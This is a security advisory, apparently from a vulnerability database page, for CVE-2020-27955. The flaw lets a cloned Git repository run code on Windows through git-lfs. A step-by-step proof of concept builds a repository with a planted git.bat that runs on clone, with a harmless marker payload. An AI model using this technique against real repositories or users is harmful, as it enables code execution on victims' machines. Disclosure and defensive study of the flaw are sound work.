Gita <= 2.29.2 - Remote Code Execution (RCE) via git-lfs

Risk: High
Local: Yes
Remote: Yes

CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

=========================================== - Discovered by: Dawid Golunski (@dawid_golunski) - dawid[at] - - - CVE-2020-27955 - Release date: 04.11.2020 - Revision 1.0 - Severity: Critical ============================================= I. VULNERABILITY ------------------------- Gita <= 2.29.2 - Remote Code Execution (RCE) via git-lfs II. BACKGROUND ------------------------- Git "Git is a free and open source distributed version control system designed to handle everything from small to very large projects with speed and efficiency. -- Git LFS "An open source Git extension for versioning large files Git Large File Storage (LFS) replaces large files such as audio samples, videos, datasets, and graphics with text pointers inside Git, while storing the file contents on a remote server like or GitHub Enterprise." III. INTRODUCTION ------------------------- Git in versions <= 2.29.2 includes git-lfs extension which allows remote attackers to execute arbitrary code on the victim's Windows system upon a clone operation. IV. DESCRIPTION ------------------------- Due to the vulnerability in git-lfs described at: Git-LFS <= 2.12 RCE Exploit Attackers may be able to plant a backdoor in the root directory of a malicious repository by simply adding an executable file named as: - git.bat - git.exe - git.cmd - git.vbs or any other executable extension available on the target Windows system (PATHEXT environment variable dependent). As a result, the malicious git binary will get executed automatically instead of the original git binary located in a trusted path. V. PROOF OF CONCEPT ------------------------- A git-lfs PoC exploit for git may be prepared with the following steps: Attacker: On a separate linux system (to prevent execution on the localhost on commit): 1. Create a new repository: mkdir git-lfs-RCE-exploit cd git-lfs-RCE-exploit git init 2. Prepare a malicious executable. E.g: git.bat with the following contents: @echo hacked > GITHACKED 3. Add the executable to the repository: git add git.bat 4. Add LFS file entries to the repository. This is necessary to trigger the vulnerable git-lfs extension when the repository is cloned and processed by the main git process. git lfs track "*.dat" git add .gitattributes echo "git exploit PoC" > big-bug-lfs-file.dat git add big-bug-lfs-file.dat 5. Commit both the exploit and the lfs files: git commit -a -m "Big Data, powered by Git LFS & the git-lfs exploit" 6. Push the changes to the repository: git remote add origin git push -u origin master Victim: On windows, run powershell.exe shell and clone the PoC repo: git clone . At this point the malicious executable (git.bat) will be downloaded into the repo's directory and automatically executed by the git-lfs extension without any user interaction. As a result, 'GITHACKED' file should appear in the repo's directory To check, type: dir Alternatively, a demo repository with a plain-text bat file located at can be used as follows: C:\Users\victim> git clone . Cloning into '.'... remote: Enumerating objects: 24, done. remote: Counting objects: 100% (24/24), done. remote: Compressing objects: 100% (15/15), done. remote: Total 24 (delta 5), reused 17 (delta 1), pack-reused 0 Receiving objects: 100% (24/24), done. Resolving deltas: 100% (5/5), done. ... C:\Users\victim> type GITHACKED hacked

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020,


Back to Top